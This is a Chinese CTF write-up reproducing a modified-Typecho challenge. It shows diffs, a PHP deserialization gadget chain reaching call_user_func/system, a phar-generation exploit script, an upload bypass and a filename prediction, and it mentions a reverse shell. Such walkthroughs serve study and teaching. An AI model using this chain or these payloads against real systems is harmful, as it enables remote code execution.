0x00前言
7月底参加的比赛,现在来复现一下,总共就两道题,web2为一个so的逆向,所以先不做研究。
0x01 web1
该题目为typecho最新版魔改,源码点击这里下载,源码下载下来首先用diff
命令看一下哪里改动了
Only in D:\Chris\web1\: .idea
Only in D:\Chris\web1\: .virink
Only in D:\Chris\web1\: config.inc.php
diff -r "D:\\Chris\\typecho/var/IXR/Server.php" "D:\\Chris\\web1/var/IXR/Server.php"
217a218,220
> if(file_exists($GLOBALS['HTTP_RAW_POST_DATA'])) {
> $GLOBALS['HTTP_RAW_POST_DATA'] = 'HTTP_RAW_POST_DATA';
> }
diff -r "D:\\Chris\\typecho/var/Typecho/Cookie.php" "D:\\Chris\\web1/var/Typecho/Cookie.php"
1a2
> session_start();
89a91,103
> /**
> * 设置指定的COOKIE值
> *
> * @access public
> * @param string $key 指定的参数
> * @param mixed $value 设置的值
> * @param integer $expire 过期时间,默认为0,表示随会话时间结束
> * @return void
> */
> public static function getlogin()
> {
> $_SESSION["__typecho_group"] = 'guest';
> }
diff -r "D:\\Chris\\typecho/var/Typecho/Db/Adapter.php" "D:\\Chris\\web1/var/Typecho/Db/Adapter.php"
112a113
>
\ No newline at end of file
diff -r "D:\\Chris\\typecho/var/Typecho/Request.php" "D:\\Chris\\web1/var/Typecho/Request.php"
567a568,580
> public function __destruct()
> {
> $content = $this->source;
> return $content;
> }
> /**
> * 获取当前pathinfo
> *
> * @access public
> * @param string $inputEncoding 输入编码
> * @param string $outputEncoding 输出编码
> * @return string
> */
diff -r "D:\\Chris\\typecho/var/Widget/Register.php" "D:\\Chris\\web1/var/Widget/Register.php"
62c62,72
< $dataStruct = array(
---
> if(isset($this->request->url)){
> $dataStruct = array(
> 'name' => $this->request->name,
> 'mail' => $this->request->mail,
> 'url' => $this->request->url,
> 'screenName'=> $this->request->name,
> 'password' => $hasher->HashPassword($generatedPassword),
> 'created' => $this->options->time,
> 'group' => 'subscriber');
> }else{
> $dataStruct = array(
68,69c78,80
< 'group' => 'subscriber'
< );
---
> 'group' => 'subscriber');
> }
>
diff -r "D:\\Chris\\typecho/var/Widget/Upload.php" "D:\\Chris\\web1/var/Widget/Upload.php"
114c114
< $fileName = sprintf('%u', crc32(uniqid())) . '.' . $ext;
---
> $fileName = sprintf('%u', crc32(time())) . '.' . $ext;
diff -r "D:\\Chris\\typecho/var/Widget/User.php" "D:\\Chris\\web1/var/Widget/User.php"
126c126,127
<
---
>
> if( $user['url'] == 'guest') Typecho_Cookie::getlogin();
diff -r "D:\\Chris\\typecho/var/Widget/Users/Profile.php" "D:\\Chris\\web1/var/Widget/Users/Profile.php"
31a32
> if(isset($_SESSION['__typecho_group'])) Widget_Upload::uploadHandle($_FILES['file']);
其中web1/var/Typecho/Request.php
这个位置比较吸引人 ,使用Beyond Compare进行一下对比
可以看到__destruct
基本使用场景为序列化,因此在Typecho_Request
这个类中寻找可疑的命令执行函数。在_applyFilter
这个方法中找到了call_user_func
这个万金油函数
其传入的参数为$_filter
和$value
,因此查找这两个变量的来源,$_filter
为数组,因此直接传入array('system',)
即可
再跟进_applyFilter函数,在get方法中找到该函数
在继续跟get函数,则最后结束的点是
public function __get($key)
{
return $this->get($key);
}
官方对__get
的解释是,当试图获取一个私有变量的时候,类会自动调用__get
方法,然后我们再来回看一下get
函数,该函数会进入一个switch的选择,首先判断_params
参数是否存在,如果不存在则判断$_httpParams
参数是否存在,如不存在,最后则使用default参数,最后将得到的$value
参数调给_applyFilter
方法,而$value
则为call_user_func
的传入函数$filter
的指令。因此$value
即为我们需要输入的指令。首先跟进一下变量$_param
,发现其也为一个可控制的数组
因此一个PHP构造链大致意思就显现出来了。我们需要将_params
参数中的$key
指向一个不可达到的变量,然后将该变量里面的值改成我们需要的命令传入,最后变成$value
参数传入$_appleFilter中,进而传入call_user_func
结合system执行命令执行。结合一下题目所修改的地方,发现其__destruct
中的source
变量为一个私有变量,因此直接的exploit的脚本便出来了
class Typecho_Request
{
private $_params = array("source" => "whoami",);
private $_filter = array("system",);
private function _applyFilter($value)
{
if ($this->_filter) {
foreach ($this->_filter as $filter) {
$value = is_array($value) ? array_map($filter, $value) :
call_user_func($filter, $value);
}
$this->_filter = array();
}
return $value;
}
}
构造出来的序列化链为
"O:15:"Typecho_Request":2:{s:24:"\000Typecho_Request\000_params";a:1:{s:6:"source";s:6:"whoami";}s:24:"\000Typecho_Request\000_filter";a:1:{i:0;s:6:"system";}}"
下一步便是找出paylaod放置的地方,google一下typecho序列化,发现其漏洞是基于install.php的漏洞,但是题目中的install文件加和文件已近全部删除,只能另寻他路。通过全局搜索unserialize()函数,在一步一步跟进了方法之后无果,便另寻他路。留意到phar协议,其具体方法为打包文件,同时也可以用来反序列化,其执行只需要函数file_exists
和file_get_contents
,具体的在之前的博客上已近做出总结。因此全局搜索file_exists和file_get_contents,终于在一个位置上找到了一个可利用的点,位于/var/lXR/Server.php里面
其位于IXR_Server类中,首先google搜索一下IXR_Server,是用于远程过程调用的协议,它使用XML进行交换,并且他主要使用HTTP进行实际调用。一般作用为获取Wordpress博客的文章,同时也搜到关于IXR_Server的SSRF漏洞,其分析文章基于server函数引发,其url接口为http://localhost/index.php/action/xmlrpc
,因此在file_get_contents
和GLOBALS
代码下断点
使用Xdebug进行调试,输入链接回车,成功卡在断点处
因此最终的exploit脚本为
<?php
class Typecho_Request
{
private $_params = array("source" => "whoami",);
private $_filter = array("system",);
private function _applyFilter($value)
{
if ($this->_filter) {
foreach ($this->_filter as $filter) {
$value = is_array($value) ? array_map($filter, $value) :
call_user_func($filter, $value);
}
$this->_filter = array();
}
return $value;
}
}
$m = new Typecho_Request();
$phar = new Phar("exp.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($m);
$phar->addFromString("pharss.txt", "exp");
$phar->stopBuffering();
?>
因此现在需要找到文件上传的路径了,因为平台开启了注册功能,但是注册后的权限是只能读不能写,即使是评论,也没有文件上传的功能,因此继续审计代码。通过diff文件,在最底下的if(isset($_SESSION['__typecho_group'])) Widget_Upload::uploadHandle($_FILES['file']);
这段代码吸引了我,跟入一下在\var\Widget\Users\Profile.php文件中跟进uploadHandle
方法,在\var\Widget\Uplaod.php中发现uploadHandle方法,通读一下代码,放出一下核心代码
public static function uploadHandle($file)
{
if (empty($file['name'])) {
return false;
}
$result = Typecho_Plugin::factory('Widget_Upload')->trigger($hasUploaded)->uploadHandle($file);
if ($hasUploaded) {
return $result;
}
...
//创建上传目录
if (!is_dir($path)) {
if (!self::makeUploadDir($path)) {
return false;
}
}
//获取文件名
$fileName = sprintf('%u', crc32(time())) . '.' . $ext;
$path = $path . '/' . $fileName;
if (isset($file['tmp_name'])) {
//移动上传文件
if (!@move_uploaded_file($file['tmp_name'], $path)) {
return false;
}
}
......
}
我们首先看到上传的文件先找打其拓展名是否在黑名单内,然后通过对时间戳进行crc32编码,拼接返回的拓展名,然后拼接上相对路径,最后在同时创建一个临时文件备份。那么,要使$_SESSION里面含有__typecho_group
的值,那么全局搜索一下,在\var\Typecho\Cookie.php
中找到如下方法
此方法便是在diff文件中看见的倒数第二行代码 if( $user['url'] == 'guest') Typecho_Cookie::getlogin();
需要我们将url设置为guest,在各种断点调试之后,发现改点位于个人主页里面的个人主页地址,然后进入个人界面的页面,但是直接改guest则会显示url无效
在尝试各种方式无果之后,发现在注册表单中增加url的参数即可以成功将url中插入任意字符串
可以看到成功将url变量设置为guest
因此我们可以上传文件啦!通过html构造一个上传表单
<form action="http://127.0.0.1/typecho/admin/profile.php" method="post" enctype="multipart/form-data">
<input type="file" name="file">
<br/>
<input type="submit" value="上传文件">
</form>
上传构造的phar序列化文件,将后缀改为gif,进行上传
成功进入判断语句
在对文件进行重命名之后加上绝对路径
最后进行备份
最终成功上传!
而对于文件名字的判断,我们只需要在上传之前对time时间戳进行保存,在上传结束后提取time时间戳,在经过加密之后遍历出中间的文件名即可
再来判断文件路径,通过断点找到该exp的正确路径usr/uploads/2019/08/2833652365.gif
因此,最终的payload为
phar://usr/uploads/2019/08/2833652365.gif
成功执行命令,再外连一下
可以进行外连
因此可以使用bash命令进行弹命令